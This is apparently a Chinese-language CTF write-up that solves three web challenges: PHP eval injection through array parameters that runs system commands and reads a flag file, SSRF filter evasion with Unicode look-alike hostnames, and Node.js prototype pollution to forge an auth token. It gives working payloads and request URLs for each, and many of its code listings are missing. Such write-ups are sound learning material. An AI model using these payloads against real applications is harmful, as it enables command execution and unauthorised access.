前言
最近没事找找题做,发现有趣的东西记录一下。
0x01 ヽ(#`Д´)ノ
题目源码如下:
1 | = |
分析代码可知,我们的输入最终将在eval()
中处理,将导致任意命令执行。
接下来我们需要关注三个点:
- 输入的长度不能超过
10
字节 - 输入的字符不能包含
a-z0-9
和` - 输入的字符先被
print_r()
处理然后在传入到eval()
中处理
我们可以把它理解成下面这个代码:
1 |
|
由于使用$_GET[]
来获取参数,根据php
的特性我们可以使用一个数组来绕过长度判断和正则表达式,例如:
1 |
|
在url
构造如下:
1 | http://localhost/test/Test2/Test4.php?code[]=system&code[]=ls |
从上图可知构造一个数组的确可以绕过长度和正则表达式限制,但是不能通过eval(print_r($code,1))
解析。
类比exec()
函数我们使用反问号
它可以先执行反问号
里面的内容,然后抛出错误。尝试在eval()
中使用反问号,例如:
1 |
|
但是显然不成功!
在eval()
中注入字符串,来执行shell命令。
例如:
1 |
|
输出如下:
1 | Array |
PS:上面的/*
后面的内容全部被注释掉
我们构造出payload如下:
1 | $code = ["foo", "bar\n [2] => hax\n);\necho system('ls -al');/*"]; |
输出如下:
1 | Array |
由于Array()
的键是错误的,因此上面的代码将不会执行。
不过我们可以通过关联数组来构造合法的键值,例如:
1 | http://localhost/?code[foo]=bar |
输出如下:
1 | Array |
虽然它将会解析错误,但是我们将键修改为$_SYSTEM
,将会解析成功。
1 |
|
输出如下:
1 | Array |
上面的代码将不会解析出错。
因此我们将会得出我们最后的payload:
1 |
|
输出如下:
1 | Array |
PS:php7.4
是可以的其他版本没试成功,可以使用该条命令下载尝试sudo apt install -y php7.4 php7.4-xdebug
。
最后的payload:
1 | # -*- coding: utf-8 -*- |
方法二:
1 | /?ヽ(%23`Д´)ノ[]=system('cat /flag_de42537a7dd854f4ce27234a103d4362'))?> |
0x02 SSRFrog
题目提示:
1 | FLAG is on this server: http://the.c0o0o0l-fl444g.server.internal:80 |
题目源码如下:
1 | const express = require("express"); |
根据题目提示和源码我们的目标是利用ssrf
访问上面提供的地址拿到flag。
源码分析
- 如果输入的
url
参数不为string
和不存在就会返回/index.html
页面。 - 如果输入的
url
参数的长度不等于经new Set(url).size
处理后的长度将会返回frog.png
图片。 - 经
Set()
处理后的集合key
是不重复的也就是里面没有重复的值。
解决
由于nodejs中的http
模块是用new URL
来处理的,因此我们可以用Unicode
编码来绕过。
示例如下:
1 | function slove(targetCahr) { |
temp
中的对象全部是数组,其中每个key
对应的数组表示该key
对应的字符可以用数组中的字符来代替,结果如下:
1 | { '0': [ '0', '⁰', '₀', '⓪', '0' ], |
最后的paylaod:
1 | htTp:ⓣHe。c0o⓪O₀l-fL4₄⁴g。sErvⒺR.inⓉⓔⓡNaⓛ |
0x03 Time to Draw
1.题目源码:
1 | const express = require("express"); |
2.原型链污染回顾:
1 | const str={}; |
3.分析代码:
原型链污染首先关注没有初始化,可控的字段,然后在后面引用过:
userData.token
在if
语句中初始化,但是如果跳过if
语句,那么该参数就是没有初始化,而且在后面直接使用。
接下来需要找到可以进行原型链污染的地方:
很明显该处跟我们的示例一样,例如:
1 | let canvas = { |
最后的payload:
1 | const crypto = require('crypto'); |
第一步污染原型链
1 | http://localhost:3000/api/draw?x=__proto__&y=token&color=1cd6705c4f0df9b640deaa47c5510b7b8b4303acc3bf1e95670e975b889a6ce9 |
第二步获取flag
1 | http://localhost:3000/flag?token=1234567890000000 |